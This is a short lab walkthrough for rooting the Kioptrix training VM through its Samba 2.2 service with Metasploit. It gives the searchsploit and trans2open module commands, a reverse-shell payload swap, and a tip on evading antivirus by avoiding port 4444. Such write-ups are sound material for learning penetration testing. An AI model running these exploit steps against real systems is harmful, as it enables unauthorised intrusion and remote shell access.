Gaining Root with Metasploit
Rooting the Kioptrix box through its vulnerable Samba service with Metasploit, and swapping payloads when the first session dies.
Attacking SMB
Start by searching for an exploit that matches the version we enumerated (improper version control). trans2open and eternalblue are both candidates:
searchsploit samba 2.2
Then load Metasploit and search for the module:
msfconsole
search trans2open
The search gives four options. Since we already know Kioptrix is running Linux, choose the Linux module.
Select it, which here is exploit/linux/samba/trans2open, set the target, optionally confirm the target list, and fire:
use 1
set RHOSTS 192.168.57.134
show TARGETS
exploit
show TARGETS is sometimes necessary to select the right one.
The exploit brute forces its way through the Samba 2.2.x vulnerability and eventually finds an address to access, but the Meterpreter session closes with a reason of Died.
A workaround is to use the opposite payload type. If the failed attempt used a staged payload, it's good practice to swap to a non-staged payload. (Good practice: don't use port 4444 for a reverse shell. Most AV picks up on it and sounds the alarm.)
set payload linux/x86/shell_reverse_tcp
options
exploit
Run options to confirm the non-staged payload is set, then exploit again.
Shell successfully opened.